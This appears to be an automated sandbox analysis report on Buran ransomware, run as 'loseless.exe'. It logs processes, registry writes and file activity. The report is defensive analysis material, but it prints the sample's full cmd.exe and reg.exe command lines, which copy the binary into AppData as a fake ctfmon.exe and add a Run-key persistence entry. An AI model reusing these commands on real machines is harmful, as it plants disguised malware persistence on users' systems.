Get Time type = Performance Ctr, time = 15325762342 True 1
Fn
Get Info type = Operating System True 2
Fn
Environment (6)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 1
Fn
Data
Get Environment String name = TEMP, result_out = C:\Users\5P5NRG~1\AppData\Local\Temp True 2
Fn
Get Environment String name = APPDATA, result_out = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 2
Fn
Debug (249)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 249
Fn
Process #2: cmd.exe
87 0
»
Information Value
ID #2
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /e:on /c md "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows" & copy "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe" "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Alternative User Input" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:33, Reason: Child Process
Unmonitor End Time: 00:00:35, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x9bc
Parent PID 0x9a4 (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9C0
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe 353.50 KB MD5: 44c185fc8210cff1dabc94c1755f6f23
SHA1: e3e97418d9b220fbc9cc9d555f2bba877995c381
SHA256: 3437bf19502df4821f574d46bb3f9aa50770237311a8ecba6908a6dbeef9184f
SSDeep: 6144:KEeGkrYa876C32wqPSu1tRgJO4SqSfcRMbRjzhkJ8T9Oh:KKkseCmwqPh1tRGdWzbcJTh 		False
...
Host Behavior
File (34)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows - False 1
Fn
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe type = file_attributes True 1
Fn
Get Info STD_INPUT_HANDLE type = file_type True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe type = file_attributes True 1
Fn
Get Info System Paging File type = file_type False 1
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 8
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open - - False 2
Fn
Copy C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\loseless.exe True 1
Fn
Read STD_INPUT_HANDLE size = 512, size_out = 512 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 104 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 27 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (2)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\reg.exe os_pid = 0x9d4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Get Info c:\windows\syswow64\cmd.exe type = PROCESS_PAGE_PRIORITY True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a600000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-27 17:06:35 (UTC) True 1
Fn
Get Time type = Ticks, time = 100761 True 1
Fn
Get Time type = Performance Ctr, time = 15409231229 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #3: reg.exe
41 0
»
Information Value
ID #3
File Name c:\windows\syswow64\reg.exe
Command Line reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Alternative User Input" /t REG_SZ /F /D "\"C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe\" *"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:33, Reason: Child Process
Unmonitor End Time: 00:00:35, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x9d4
Parent PID 0x9bc (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9D8
Host Behavior
File (5)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 3
Fn
Write STD_OUTPUT_HANDLE size = 39 True 1
Fn
Data
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Read Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = Alternative User Input False 1
Fn
Write Value HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value_name = Alternative User Input, data = "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *, size = 158, type = REG_SZ True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xe10000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-27 17:06:35 (UTC) True 1
Fn
Get Time type = Ticks, time = 100932 True 1
Fn
Get Time type = Performance Ctr, time = 15433743577 True 1
Fn
Process #4: ctfmon.exe
3062 2
»
Information Value
ID #4
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe" *
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:35, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:22
OS Process Information
»
Information Value
PID 0x9e8
Parent PID 0x9a4 (c:\users\5p5nrgjn0js halpmcxz\desktop\loseless.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9EC
0x A1C
0x A20
0x AB8
0x ABC
0x AC0
0x AC4
0x AC8
0x AD0
0x AF4
0x AF8
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5P5NRG~1\AppData\Local\Temp\44C5C4E9.buran 1 bytes MD5: 93b885adfe0da089cdf634904fd59f71
SHA1: 5ba93c9db0cff93f52b521d7420e43f6eda2784f
SHA256: 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
SSDeep: 3:: 		False
...
Host Behavior
File (6)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\0DC19D25.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Write C:\Users\5P5NRG~1\AppData\Local\Temp\0DC19D25.buran size = 1 True 1
Fn
Data
Delete C:\Users\5P5NRG~1\AppData\Local\Temp\0DC19D25.buran - True 1
Fn
Registry (1137)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Buran\Service - True 2
Fn
Create Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Locales - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Borland\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Borland\Delphi\Locales - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran\Service - False 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - False 94
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 36
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 180
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 19
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 146
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 8
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 4
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 2
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 3
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 54
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Buran - True 16
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 36
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 180
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 19
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 146
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 8
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 54
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 16
Fn
Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Public Key, data = OcUWCfOnhEZLoY3dECt0hlkP7x4eExesdEjaEYcafYlPi1Ne5zwychYh02+gZx7wblP3vQrcnfmeleeTW8m9OHlPntniTjfF6vrNEEAlw1uTSGGPf5WjtPBtjmmHCXbsbSICoObkAqIWTp2C9D2QB4O5v3viFHBIcF/cPu6AH1d0hMaH2XeYzTtU3SklQR5UtcWo/Nqxxq0hCPFjxsnuo6xpNIutuWLReYOF4l/JeAuKgS7RHuyHG/yM2bFNquhJLT1Sr7aY94IdI31f9GejzFdaMKTXqdDtbSkkdAD5MTBiDSCdvMnfVskCeWmvWi3tzcqK6XIU7D5Yxelv23nuBA7btfrEAKlire20KQYsDmgQsCd6+w0wDgvVPacFxGWwngB64SeDarWjqoXvXH+G9Xg=, size = 409, type = REG_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Machine ID, data = eMCDu1m41v0G3KSVP3jKp7/QZq5UzJteLPWmks5a/X24LokpbGOf1PZNu7RgrhS1f3vxapegWSAxy+n+v0WTIZWOmFHCAnE2wjpK/bCQpWyFUu1d/PueR0Tp2kg4cVHhlL3QNPXXkJ7D55ubwsGbbx2HPpBLIesT5QvLcqsrZdr71KwUGFlfdIcWtEYCnmiK6V2XG/A2V+FMtFvsOI55wLtKBUyzOaC/sSydOJ1II2zUgu1ETk1uqe17Z/OB9emEnkA+mP7OEO8i/sGq3KB97ttK1jlfZQPw8T5BFZqkRjUKXTWH7brwkJlHklgZ1iNod5oV4MhRIZHrO8ED2fWCKxeK1KI1AB5FAdPoX081xfsM06ZmRtrLiLiOoz18YbaussDucDpvxpb1g65QC7FPU8uq+OJdn6S/IXaLNG6FoYJOcJb1XXLAmzi8SsURlI4fTbEGQB81LLLm0cUttUIKP1jcmdA9XbK7I6SCK4ayKlRUm3gL8wZxphiMxj753ivPELfySPzi6o1uyN80sqKaZc8nviUZ2i1APsDHCG5/H2iV7u7A8uvGSiA1QgArhivVQD39KFPIDWn6Wol96VA2yV2T+C+7a4mevJNg1VFCFvLZapktAMOuvobEYGaWI7Wslxt3sNtFSp2+RQWirMqT86V3AbWdbvK8JjCqfec35djLANWPc6wz3gvoUvysjwCXtspf+naaZP962TOOnywPLW+OnEGdQdrzFuiu1rIMJExDT/kwSKHdP0EeDMi+MQk+UnTvqw4vJdeb995pWe4QMqrKfHJ4DaXEdEY5jvYIIGM+LRAbSI3Cms1IjLD8P5cHuIva/T4bHdooDMwoJ6wkIYbBmLaCsmiaDl/ZpP06f8xQFIwdhE1qzZoVqxEj5m+SrYdrbLaqY0kA38TRA7FwUwooLBy2oRv1/pSkALF/GZIm4mTgooy2JTYL5PHyzHQ1SXiHEFkLwAvjnZjHYbcLYBjdSUrljh+tcG47U30ODI8wIi2iB8DBb4f2lqkjLE1qn5dItYZNikF/3uWKfWNMl7VXzHePMFO7pHcr1Kmmj313lWbtJfSpMtsr5mJmRDmK3Rkl3cDE688ls5zbmvbXy7wyM9RyWDZQ/Gnsw7GEaS91S/ykxazifV4JYdlVBMidn9Vw92VEr+X8dPxr/6hZe2zeCeNCFSu0zlrjPG+JfxNI6nuwrqh4DVnF/0erhKlin4ErA/urs3Sn5tPWhPIpZfV4wgxsbI2ILMXtJ6ObGbbF8OpY+zFgE+/l+BKsZmh23BsMuUF8zjKeZ7YieYwXMFFY9K5BSgXr5OD+7ZNw3C1NRpTS4XoUi8Rw8SA07ZTvqMrtDFgZWGcox6hCuA6PzN27jBy8qjfrtGO8JUVPVIh4zfkXZRpVX6snyGjRFvnsNxKwWjzTD5As2wyaBSURHTdsfeOdCi2YMJBfoRiCxt2++z6RpJx+SNLuqRyWD7qIGGwBefLgXKPFETbeLtWB5cJg/E6Lmbn0ibN51ybeUElaOCIGmWZkoNnPGMOYtFwcoX7SZPqo95u8vOber8N17YAugalh+4BWnbJmdjtcoOM6dYuAnFjbBeSXiUSHmZY9jAr0g0PpvkNN4pb5EZj0GdugdIQnS7bmLjHYODeSspmmVrULFYeMhqzg+P/k7OUXSmeK2oRKnhVhaZdrhelCWUoKPecJZ6rkjopNq2QeD0yAulX2fHapdY6mgHTjBekAAHPiBw==, size = 1737, type = REG_SZ True 1
Fn
Write Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, data = 666, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Process (7)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0xafc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb14, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb2c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb44, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb5c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb74, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb8c, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE True 1
Fn
Module (252)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76c20000 True 6
Fn
Load oleaut32.dll base_address = 0x75220000 True 2
Fn
Load advapi32.dll base_address = 0x74d40000 True 2
Fn
Load user32.dll base_address = 0x74f40000 True 2
Fn
Load mpr.dll base_address = 0x74a80000 True 1
Fn
Load shell32.dll base_address = 0x75fd0000 True 3
Fn
Load wininet.dll base_address = 0x753d0000 True 1
Fn
Load msvcr100.dll base_address = 0x749c0000 True 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.ENU base_address = 0x0 False 1
Fn
Load C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.EN base_address = 0x0 False 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Handle c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe base_address = 0x1610000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x75220000 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 260 True 1
Fn
Get Filename c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.EN process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76c34f2b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x76c3359f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76c31252 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76c34208 True 1
Fn
